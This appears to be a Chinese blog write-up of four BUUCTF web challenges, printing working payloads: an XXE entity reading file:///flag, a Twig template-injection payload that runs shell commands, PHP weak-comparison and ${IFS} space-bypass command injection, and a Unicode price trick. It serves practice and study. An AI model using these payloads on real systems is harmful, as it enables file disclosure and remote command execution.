4.6-4.13

[NCTF2019]Fake XML cookbook

进入题目环境是一个登录页面,一开始没发现什么线索,用burpsuite抓包看一下。

POST /doLogin.php HTTP/1.1
Host: 3f6d7eae-38b1-4918-b14d-28cde979dca0.node4.buuoj.cn:81

<user><username>1</username><password>1</password></user>

是这样的形式,看题目提到了XML,就搜索了一下有关漏洞,有一个XXE(XML外部实体注入)

仿照样例的格式,尝试从根目录下读出flag

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///flag">  ]>
<user><username>&xxe;</username><password>admin</password></user>

然后就直接得到了flag

[BJDCTF2020]Cookie is so stable

根据题目提示,这题肯定是cookie上出了问题

抓个包看一下有没有什么异常

HTTP/1.1 302 Found
Server: openresty
Date: Wed, 06 Apr 2022 11:51:17 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Cache-Control: no-store, no-cache, must-revalidate
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Location: flag.php
Pragma: no-cache
Set-Cookie: user=admin; expires=Wed, 06-Apr-2022 12:21:17 GMT; Max-Age=1800
X-Powered-By: PHP/7.3.13
Content-Length: 2835

看到set-cookie里有一项user。

我们尝试构造cookie看看是不是直接将cookie填进了回显中。果然直接填到了html里。

这里就明显有XSS漏洞,不过试了很久发现不好利用。。

搜到题解,原来是模板注入,随便截了一段判断模板语言的测试语句

http://101.43.122.221/images/ssti.jpg

然后这题是 Twig 模块,用到的payload是:(这一段是直接抄的题解,,)

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

emmmm。完全不会。。也不太懂原理。查到的所有题解都没有解释这一段语句所以根本就没法学啊!!!!记住好了。。

[WUSTCTF2020]朴实无华

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";
    }else{
        die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");
    }
}else{
    die("鍘婚潪娲插惂");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>";
   else
       die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�");
}else{
    die("鍘婚潪娲插惂");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";
        system($get_flag);
    }else{
        die("蹇埌闈炴床浜�");
    }
}else{
    die("鍘婚潪娲插惂");
}
?>

level1:利用php的类型转化漏洞,字符串转为数字时会把非数字出现处之后的地方全部丢掉。

num=2e4时,intval($num)=2,而intval($num+1)=20001即可满足条件

level2:md5弱类型比较,常见的姿势了

找到一个0e开头的字符串,它的md5值也是0e开头,即可试语句变为0=0

0e215962017

level3:绕过一个空格,然后不能用cat就用tac,绕过空格方法如下

先用ls读取文件名。再尝试读flag

cat flag.txt
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt

kg=$'\x20flag.txt'&&cat$kg

最终payload:

fl4g.php?num=2e4&md5=0e215962017&get_flag=tac${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

[ASIS 2019]Unicorn shop

进入环境,买独角兽,随便输了物品id不填price会报错

Traceback (most recent call last):
  File "/usr/local/lib/python2.7/site-packages/tornado/web.py", line 1541, in _execute
    result = method(*self.path_args, **self.path_kwargs)
  File "/app/sshop/views/Shop.py", line 34, in post
    unicodedata.numeric(price)
TypeError: need a single Unicode character as parameter

提示是要填一个unicode字符。

测了物品id,1,2,3,都是错误的物品,就只有4了。

查一个大数unicode,别的语言的大数,

https://www.compart.com/en/unicode/search?q=thousand#characters

ↇ:代表50000,直接复制粘贴进去。、

最终payload:4,ↇ

或者用

发表评论